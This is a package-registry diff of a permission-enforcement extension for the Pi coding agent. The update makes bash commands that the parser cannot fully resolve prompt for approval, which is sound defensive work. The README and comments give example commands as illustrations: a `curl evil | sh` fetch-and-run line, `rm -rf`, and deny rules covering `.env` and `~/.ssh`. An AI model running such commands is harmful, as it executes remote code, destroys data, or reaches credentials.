@gotgenes/pi-permission-system 31.0.0 → 31.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,32 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
14
+
15
+ ### Documentation
16
+
17
+ * **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
18
+
19
+ ## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
20
+
21
+
22
+ ### Bug Fixes
23
+
24
+ * **pi-permission-system:** consult both path directions for a redirect the parser could not resolve ([0327feb](https://github.com/gotgenes/pi-packages/commit/0327feb9d2cefc47fcebe724ee94cf9949a8749a)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
25
+
26
+ ### Documentation
27
+
28
+ * **pi-permission-system:** commit the instrument behind the unresolved-redirect measurement ([757affe](https://github.com/gotgenes/pi-packages/commit/757affeac19400bf7764c9f06fa58bf18ccafc1e)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
29
+ * **pi-permission-system:** mark Phase 14 Step 12 complete ([07d23ef](https://github.com/gotgenes/pi-packages/commit/07d23ef6cffb954058ff2f8fe43917a937de437f)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
30
+ * **pi-permission-system:** register the unresolved-redirect measurement script ([8203898](https://github.com/gotgenes/pi-packages/commit/8203898bd2dadb62ae72e5bedb579bbaf062cf03)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
31
+ * **pi-permission-system:** state the unresolved-redirect residual as a parse fact ([e74c2fc](https://github.com/gotgenes/pi-packages/commit/e74c2fc3c63bf4a18b63334e1fb9b24565fb36b2)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
32
+ * **pi-permission-system:** describe the unresolvable-redirect rule as users meet it ([9e57a90](https://github.com/gotgenes/pi-packages/commit/9e57a909e7719fbfa670ad3ec153e5aa2faf1510)), closes [#814](https://github.com/gotgenes/pi-packages/issues/814)
33
+
8
34
  ## [31.0.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v30.2.0...pi-permission-system-v31.0.0) (2026-09-02)
9
35
 
10
36
 
package/README.md CHANGED
@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
19
19
  - **Gates MCP and skill access** at server, tool, and skill-name granularity
20
20
  - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
21
21
  - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
22
- - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
22
+ - **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
23
23
  - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
24
24
  - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
25
25
  - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
430
430
  - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
431
431
  A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
432
432
  An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
433
+ - A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
434
+ Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
435
+ The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
436
+ A statement beside the failed one keeps its own rule.
437
+ Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
433
438
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
434
439
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
435
440
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
438
443
  An `allow` is clamped to `ask`, and an explicit `deny` still denies.
439
444
  The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
440
445
 
441
- Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
446
+ Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
442
447
  An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
448
+ Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
443
449
 
444
450
  Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
445
451
  A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
@@ -766,6 +772,11 @@ A tool's identity establishes its direction, and on the bash surface a redirect
766
772
  An access whose direction cannot be established consults **both** surfaces and takes the more restrictive answer.
767
773
  That is deliberate: an unproven access is never treated as the narrower one.
768
774
 
775
+ A redirect the parser could not make sense of is unproven for the same reason.
776
+ The read-write open `<>` is the clearest case: `tree-sitter-bash` has no node for it, so neither half of the operator can be trusted to describe the whole, and its destination consults both surfaces rather than the one the surviving half would name.
777
+ The rule is about the parse rather than about `<>`, so it also covers a redirect that is itself well-formed but sits beside something the parser could not read: in `cat $(( > out.txt`, the `> out.txt` consults both surfaces too.
778
+ That is deliberate — a command nobody could parse is the last place to assume a file is only being read — and it does not reach past the neighbour, so a redirect in a later statement keeps its proof.
779
+
769
780
  Attribution is per **token**, not per command, so one invocation can do both: in `cat notes.md > /backup/notes.md`, `notes.md` is a read and `/backup/notes.md` is a write.
770
781
  A redirect operator's proof is absolute — it overrides whatever the command in front of it proved, because `> out.txt` writes `out.txt` however read-only that command is.
771
782
  When the same path is reached twice with disagreeing directions (`cat a.txt > a.txt`), the two fold to unproven, which consults both surfaces.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "31.0.0",
3
+ "version": "31.0.2",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -92,6 +92,7 @@
92
92
  "measure:core-coverage": "node scripts/measure-core-coverage.mjs",
93
93
  "measure:statement-descent": "node scripts/measure-statement-descent.mjs",
94
94
  "measure:statement-operands": "node scripts/measure-statement-operands.mjs",
95
+ "measure:unresolved-redirects": "node scripts/measure-unresolved-redirects.mjs",
95
96
  "measure:wrapper-transparency": "node scripts/measure-wrapper-transparency.mjs",
96
97
  "lint:md": "rumdl check *.md docs/**/*.md",
97
98
  "lint": "biome check . && eslint . && pnpm run lint:md"
@@ -2,7 +2,10 @@ import {
2
2
  EXECUTION_HOST_TYPES,
3
3
  forEachExecutionIn,
4
4
  } from "#src/access-intent/bash/nested-execution";
5
- import type { TSNode } from "#src/access-intent/bash/parser";
5
+ import {
6
+ parseUnresolvedWithin,
7
+ type TSNode,
8
+ } from "#src/access-intent/bash/parser";
6
9
  import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
7
10
  import {
8
11
  type CommandWord,
@@ -53,6 +56,13 @@ export interface BashCommand {
53
56
  * and an established {@link executedUnit}.
54
57
  */
55
58
  readonly floorExemption?: FloorExemption;
59
+ /**
60
+ * Set when this unit was emitted from, or beneath, a statement holding a
61
+ * region tree-sitter could not resolve. Its decision is floored to at least
62
+ * `ask`, because the recovered structure is not evidence of what runs — ADR
63
+ * 0013 §10's fail-closed base case (#840).
64
+ */
65
+ readonly parseUnresolved?: true;
56
66
  }
57
67
 
58
68
  /**
@@ -74,10 +84,18 @@ interface UnitScope {
74
84
  * withholds the floor exemption from any wrapper unit beneath it.
75
85
  */
76
86
  readonly writesViaRedirect: boolean;
87
+ /**
88
+ * True when the enclosing statement holds a region tree-sitter could not
89
+ * resolve, so every unit beneath it is floored rather than trusted (#840).
90
+ */
91
+ readonly parseUnresolved: boolean;
77
92
  }
78
93
 
79
- /** A top-level command in the current shell, writing no file. */
80
- const TOP_LEVEL_SCOPE: UnitScope = { writesViaRedirect: false };
94
+ /** A top-level command in the current shell, writing no file, fully parsed. */
95
+ const TOP_LEVEL_SCOPE: UnitScope = {
96
+ writesViaRedirect: false,
97
+ parseUnresolved: false,
98
+ };
81
99
 
82
100
  // ── Node-type vocabulary ─────────────────────────────────────────────────────
83
101
 
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
184
202
  * The enclosing command/statement is always still emitted whole, so adding the
185
203
  * nested units can only ever produce a more-restrictive decision, never weaker.
186
204
  *
205
+ * A unit emitted from, or beneath, a statement holding a region tree-sitter
206
+ * could not resolve is marked {@link BashCommand.parseUnresolved}, so the
207
+ * verdict fold can floor it rather than match its recovered text against the
208
+ * bash rules (#840).
209
+ *
187
210
  * Each emitted command unit has any leading `variable_assignment` prefix
188
211
  * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
189
212
  * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
197
220
 
198
221
  function collectCommandsInto(
199
222
  node: TSNode,
200
- scope: UnitScope,
223
+ inherited: UnitScope,
201
224
  out: BashCommand[],
202
225
  ): void {
203
226
  // Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
@@ -205,6 +228,8 @@ function collectCommandsInto(
205
228
  if (!node.isNamed) return;
206
229
  if (COMMAND_ENUM_SKIP.has(node.type)) return;
207
230
 
231
+ const scope = unresolvedScope(node, inherited);
232
+
208
233
  if (node.type === "command") {
209
234
  out.push(makeCommandUnit(node, scope));
210
235
  // A command's text already contains any substitution; descend its subtree
@@ -265,6 +290,29 @@ function collectCommandsInto(
265
290
  collectHostedCommands(node, out);
266
291
  }
267
292
 
293
+ /**
294
+ * The scope `node`'s own subtree establishes, marking it unresolved when
295
+ * tree-sitter could not parse a region within it (#840).
296
+ *
297
+ * The three pure containers are deliberately excluded. `program`, `list`, and
298
+ * `pipeline` report an error whenever *anything* anywhere beneath them failed,
299
+ * so asking there would mark every unit of the command and make the answer
300
+ * per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
301
+ * `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
302
+ * unit under the failed statement is floored.
303
+ *
304
+ * Over-marking is the fail-closed direction — the flag can only floor an
305
+ * `allow` up to `ask`, never weaken a decision — which is what makes marking a
306
+ * whole statement for a failure buried in one of its redirects acceptable.
307
+ */
308
+ function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
309
+ if (scope.parseUnresolved) return scope;
310
+ if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
311
+ return parseUnresolvedWithin(node)
312
+ ? { ...scope, parseUnresolved: true }
313
+ : scope;
314
+ }
315
+
268
316
  /** The wrapper facts a `command` node's words establish about its unit. */
269
317
  interface WrapperFacts {
270
318
  readonly wrapperKind?: WrapperKind;
@@ -284,7 +332,11 @@ function makeUnit(
284
332
  const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
285
333
  const named =
286
334
  executedUnit === undefined ? flagged : { ...flagged, executedUnit };
287
- return floorExemption === undefined ? named : { ...named, floorExemption };
335
+ const exempted =
336
+ floorExemption === undefined ? named : { ...named, floorExemption };
337
+ return scope.parseUnresolved
338
+ ? { ...exempted, parseUnresolved: true }
339
+ : exempted;
288
340
  }
289
341
 
290
342
  /**
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
423
475
  forEachExecutionIn(node, (contextNode, context) => {
424
476
  // A nested execution starts fresh: an enclosing statement's redirect is
425
477
  // that statement's, not the substitution's, exactly as #807 attributes a
426
- // nested command's path tokens to its own command.
478
+ // nested command's path tokens to its own command. The parse question
479
+ // starts fresh for the same reason and costs nothing either way — each
480
+ // statement inside re-asks it of itself, and the enclosing statement's own
481
+ // units carry the mark regardless, so the verdict is unchanged (#840).
427
482
  descendCommandChildren(
428
483
  contextNode,
429
- { context, writesViaRedirect: false },
484
+ { context, writesViaRedirect: false, parseUnresolved: false },
430
485
  out,
431
486
  );
432
487
  });
@@ -4,6 +4,11 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
4
4
  /**
5
5
  * Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
6
6
  * Defined locally so callers do not need to import web-tree-sitter types.
7
+ *
8
+ * The last two members are the parse's own health, where every other member
9
+ * describes a *successful* parse's structure. They are read only by this
10
+ * module's two `parseUnresolved*` predicates — see their doc comments for why
11
+ * that boundary matters.
7
12
  */
8
13
  export interface TSNode {
9
14
  readonly type: string;
@@ -13,9 +18,70 @@ export interface TSNode {
13
18
  readonly childCount: number;
14
19
  /** False for anonymous tokens (operators, delimiters); true for named nodes. */
15
20
  readonly isNamed: boolean;
21
+ /** True when this node is an error or missing token, or contains one. */
22
+ readonly hasError: boolean;
23
+ /** The node immediately before this one under the same parent, named or not. */
24
+ readonly previousSibling: TSNode | null;
16
25
  child(index: number): TSNode | null;
17
26
  }
18
27
 
28
+ /**
29
+ * Whether tree-sitter failed to resolve the syntax at `node`.
30
+ *
31
+ * Error recovery disposes of text it cannot attach in one of two places, and
32
+ * which one it picks depends on what follows. The read-write open `<>`, which
33
+ * `tree-sitter-bash` 0.25.1 has no node for, shows both: `cat <> rw.txt` keeps
34
+ * the discarded `>` as an `ERROR` *child* of the redirect, while
35
+ * `cat <> ~/rw.txt` strands the `<` as an `ERROR` *sibling* ahead of a redirect
36
+ * that is otherwise indistinguishable from a genuine `> ~/rw.txt`. A reader
37
+ * that consults only the node's own subtree sees the first and not the second.
38
+ *
39
+ * The immediate predecessor, rather than the enclosing statement, is what makes
40
+ * the answer per-redirect: in `cat a > out.txt <> ~/rw.txt` the statement has
41
+ * an error but its first redirect is a fully resolved write, and condemning it
42
+ * would forfeit a proof the parse really did establish.
43
+ *
44
+ * The question is about the parse, not about `<>`, so the population is wider
45
+ * than the form that exposed it: `cat $(( > out.txt` and `echo ) > out.txt`
46
+ * both carry a perfectly good `> out.txt` whose predecessor failed for an
47
+ * unrelated reason, and both go unproven. That is the accepted cost, and it is
48
+ * the same shape as the only real occurrence measured across 5000+ logged
49
+ * commands — `git commit -F - <<'MSG' 2>&1 | tail -4`, valid bash the grammar
50
+ * cannot parse (ADR 0013's 2026-08-29 amendment), where the demoted token
51
+ * belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
52
+ * a write to a read grant.
53
+ *
54
+ * This module is the one place {@link TSNode.hasError} and
55
+ * {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
56
+ * is deliberate: recovering-parser behavior is a fact about tree-sitter rather
57
+ * than about any construct, so a caller asks this question instead of
58
+ * hand-rolling a sibling walk of its own.
59
+ */
60
+ export function parseUnresolvedAt(node: TSNode): boolean {
61
+ return node.hasError || (node.previousSibling?.hasError ?? false);
62
+ }
63
+
64
+ /**
65
+ * Whether tree-sitter failed to resolve the syntax anywhere within `node`.
66
+ *
67
+ * The subtree-only question, and the one a walker descending statements asks:
68
+ * a statement holding an unresolved region is one whose recovered shape is
69
+ * invented rather than observed, so nothing beneath it is evidence of what
70
+ * runs. The failure can sit well below the statement that exposes it —
71
+ * `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
72
+ * `heredoc_redirect → file_redirect`, where no command node sees it.
73
+ *
74
+ * {@link parseUnresolvedAt} answers the redirect-shaped question instead,
75
+ * widening to the immediate predecessor because error recovery strands a
76
+ * discarded operator ahead of the redirect it belonged to. That widening is a
77
+ * fact about redirects, not about statements: a statement whose *predecessor*
78
+ * failed is not itself unparsed, and borrowing the wider predicate here would
79
+ * condemn every statement following a failed one.
80
+ */
81
+ export function parseUnresolvedWithin(node: TSNode): boolean {
82
+ return node.hasError;
83
+ }
84
+
19
85
  /**
20
86
  * Minimal subset of web-tree-sitter's Parser used by this module.
21
87
  */
@@ -1,6 +1,6 @@
1
1
  import { redirectDestinationEffect } from "#src/access-intent/bash/command-effects";
2
- import type { TSNode } from "#src/access-intent/bash/parser";
3
- import type { TokenEffect } from "#src/access-intent/effect";
2
+ import { parseUnresolvedAt, type TSNode } from "#src/access-intent/bash/parser";
3
+ import { type TokenEffect, UNPROVEN_EFFECT } from "#src/access-intent/effect";
4
4
 
5
5
  /**
6
6
  * What a redirect node in the parse tree proves.
@@ -17,6 +17,11 @@ import type { TokenEffect } from "#src/access-intent/effect";
17
17
  * whether it is safe to *remove* the wrapper floor, so it answers with a
18
18
  * refusal: anything it cannot resolve counts against the exemption (#803).
19
19
  * One reader of the node keeps the two from drifting on what a redirect is.
20
+ *
21
+ * The two burdens meet at one fact: whether the parse resolved at all. Both
22
+ * answers ask `parseUnresolvedAt`, so a syntax form the grammar could not
23
+ * handle cannot be a proof to one caller and a resolvable read to the other
24
+ * (#814).
20
25
  */
21
26
 
22
27
  /**
@@ -26,15 +31,28 @@ import type { TokenEffect } from "#src/access-intent/effect";
26
31
  * `>&` and `<&` are the two operators that may name either a file descriptor
27
32
  * (`2>&1`) or a real file (`cmd >& out`); the destination node's type is the
28
33
  * parse-tree fact that tells them apart.
34
+ *
35
+ * A redirect the parse could not resolve proves nothing — ADR 0013 §10's base
36
+ * case, which consults both directional surfaces. Reading a proof off whichever
37
+ * operator survived error recovery made `cat <> rw.txt` a read and
38
+ * `cat <> ~/rw.txt` a write, so one command's answer was a function of its
39
+ * filename, and the read half was a fail-open on a destination the shell may
40
+ * truncate (#814).
41
+ *
42
+ * The demotion applies to a *proof*, never to the `null`: a descriptor
43
+ * duplication names no file whatever the operator around it did, so demoting
44
+ * first would emit a descriptor number as a path candidate.
29
45
  */
30
46
  export function redirectEffectForDestination(
31
47
  redirect: TSNode,
32
48
  destination: TSNode,
33
49
  ): TokenEffect | null {
34
- return redirectDestinationEffect(
50
+ const proven = redirectDestinationEffect(
35
51
  redirectOperatorOf(redirect),
36
52
  DESCRIPTOR_NODE_TYPES.has(destination.type),
37
53
  );
54
+ if (proven === null) return null;
55
+ return parseUnresolvedAt(redirect) ? UNPROVEN_EFFECT : proven;
38
56
  }
39
57
 
40
58
  /**
@@ -49,20 +67,24 @@ export function redirectEffectForDestination(
49
67
  * shapes least visible to every other surface — the path projection does not
50
68
  * collect them either (#609).
51
69
  *
52
- * Only two things clear it: a descriptor duplication (`2>&1`), which names no
53
- * file, and an operator that proves a read reading a file alongside a pure
54
- * reader leaves it a pure reader.
70
+ * An unresolved parse is refused up front rather than left to the loop. The
71
+ * loop would usually reach the same answer — a demoted destination is unproven,
72
+ * which is not a read — but `cat <>&1` parses to a redirect whose only children
73
+ * are the operator and a descriptor, so the loop finds nothing to refuse on and
74
+ * clears the exemption for a form nobody understood (#814).
75
+ *
76
+ * Past that, only two things clear it: a descriptor duplication (`2>&1`), which
77
+ * names no file, and an operator that proves a read — reading a file alongside
78
+ * a pure reader leaves it a pure reader.
55
79
  */
56
80
  export function redirectMayWriteFile(redirect: TSNode): boolean {
81
+ if (parseUnresolvedAt(redirect)) return true;
57
82
  for (let i = 0; i < redirect.childCount; i++) {
58
83
  const child = redirect.child(i);
59
84
  // The operator itself is the redirect's only unnamed child.
60
85
  if (!child?.isNamed) continue;
61
86
  // A source or duplicated descriptor (`2`, `&1`) names no file.
62
87
  if (DESCRIPTOR_NODE_TYPES.has(child.type)) continue;
63
- // A shape the grammar could not resolve (`<>` degrades to one) says nothing
64
- // about direction, so it cannot clear the check.
65
- if (child.type === "ERROR") return true;
66
88
  if (redirectEffectForDestination(redirect, child)?.effect !== "read") {
67
89
  return true;
68
90
  }
@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
10
10
  * command-pattern units and routed through the same shared orchestrator the
11
11
  * enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
12
12
  * command returns the most-restrictive decision (`deny > ask > allow`) and
13
- * inherits the opaque-wrapper floor (#481) and the fail-closed
14
- * `<unparseable-bash-command>` sentinel (#452), at parity with the gate.
13
+ * inherits the opaque-wrapper floor (#481) and both fail-closed parse
14
+ * sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
15
+ * (#840) — at parity with the gate.
15
16
  *
16
17
  * In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
17
18
  * to the pre-#309 whole-string match, so the advisory answer is never *weaker*
@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
40
40
  * explicit `deny` covering it denies outright rather than being masked into an
41
41
  * approvable prompt (#712).
42
42
  *
43
+ * A *partial* parse failure is the other half of that clause: the units the
44
+ * recovery produced are enumerated normally, and any one the enumerator marked
45
+ * {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
46
+ * `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
47
+ * recovered structure is not evidence of what runs.
48
+ *
43
49
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
44
50
  * handler, which passes the decomposed `commands` here.
45
51
  */
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
52
58
  indirection: "<indirection-bash-wrapper>",
53
59
  };
54
60
 
61
+ /**
62
+ * The synthetic `matchedPattern` recorded when a unit the parse could not
63
+ * resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
64
+ */
65
+ const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
66
+
55
67
  export function resolveBashCommandCheck(
56
68
  command: string,
57
69
  commands: BashCommand[],
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
76
88
  };
77
89
  }
78
90
 
79
- const results = commands.map((cmd) => {
80
- const base = resolveOnBashSurface(cmd.text, agentName, resolver);
81
- const floored =
82
- cmd.wrapperKind && base.state === "allow"
83
- ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
84
- : base;
85
- const result = cmd.context
86
- ? { ...floored, commandContext: cmd.context }
87
- : floored;
88
- return cmd.executedUnit === undefined
89
- ? result
90
- : { ...result, executedUnit: cmd.executedUnit };
91
- });
91
+ const results = commands.map((cmd) =>
92
+ resolveCommandUnit(cmd, command, agentName, resolver),
93
+ );
92
94
  return (
93
95
  pickMostRestrictive(results) ??
94
96
  resolveOnBashSurface(command, agentName, resolver)
95
97
  );
96
98
  }
97
99
 
100
+ /**
101
+ * Resolve one command unit of the chain: its own `bash`-surface rule, floored
102
+ * where the enumerator established a reason to floor it, then tagged with the
103
+ * facts the prompt and the session-approval suggestion read off the winner.
104
+ */
105
+ function resolveCommandUnit(
106
+ cmd: BashCommand,
107
+ command: string,
108
+ agentName: string | undefined,
109
+ resolver: ScopedPermissionResolver,
110
+ ): PermissionCheckResult {
111
+ const base = resolveOnBashSurface(cmd.text, agentName, resolver);
112
+ const floored =
113
+ cmd.wrapperKind && base.state === "allow"
114
+ ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
115
+ : base;
116
+ const unparsed = floorUnparsedUnit(cmd, command, floored);
117
+ const contextual = cmd.context
118
+ ? { ...unparsed, commandContext: cmd.context }
119
+ : unparsed;
120
+ return cmd.executedUnit === undefined
121
+ ? contextual
122
+ : { ...contextual, executedUnit: cmd.executedUnit };
123
+ }
124
+
125
+ /**
126
+ * Floor a unit the parse could not resolve, so a subtree the fold did not
127
+ * understand cannot ride a permissive rule (ADR 0013 §10, #840).
128
+ *
129
+ * Three properties carry the safety argument.
130
+ *
131
+ * The result names the **whole** command, not the unit: the reason for the ask
132
+ * is that part of the command was not understood, and a partial parse can drop
133
+ * a command from enumeration entirely, so naming the fragment that did parse
134
+ * withholds exactly what the user needs to judge it. `command` is also the
135
+ * session-approval pattern, and a fragment there would grant more than the
136
+ * prompt showed.
137
+ *
138
+ * Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
139
+ * decides instead — and a wrapper unit already floored to `ask` keeps its own,
140
+ * more specific sentinel.
141
+ *
142
+ * The result is built by spreading `resolved`, so a `source: "session"` grant
143
+ * survives to `GateRunner`'s session fast path, which tests the source before
144
+ * the state. A grant the user gave for this exact command still holds.
145
+ */
146
+ function floorUnparsedUnit(
147
+ cmd: BashCommand,
148
+ command: string,
149
+ resolved: PermissionCheckResult,
150
+ ): PermissionCheckResult {
151
+ if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
152
+ return {
153
+ ...resolved,
154
+ state: "ask",
155
+ command,
156
+ matchedPattern: UNPARSED_SUBTREE_SENTINEL,
157
+ };
158
+ }
159
+
98
160
  /**
99
161
  * Resolve a wrapper unit whose own text resolved to `allow`.
100
162
  *
@@ -159,10 +159,11 @@ export function buildDecisionEvent(
159
159
  * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
160
160
  * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
161
161
  * first arm recognizes that grant. The second arm covers an `ask` synthesized
162
- * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
163
- * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
164
- * cannot reach because the floor is a property of a parsed command unit, not of
165
- * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
162
+ * *after* resolution — the bash wrapper floor (#481, #490) and the two
163
+ * fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
164
+ * `<unparsed-bash-subtree>` (#840) which the ruleset rewrite cannot reach
165
+ * because the floor is a property of a parsed command unit, not of a pattern
166
+ * (#712). The synthetic `matchedPattern` is preserved so the review
166
167
  * log still shows why the ask was raised, while `origin: "yolo"` records why it
167
168
  * was granted.
168
169
  *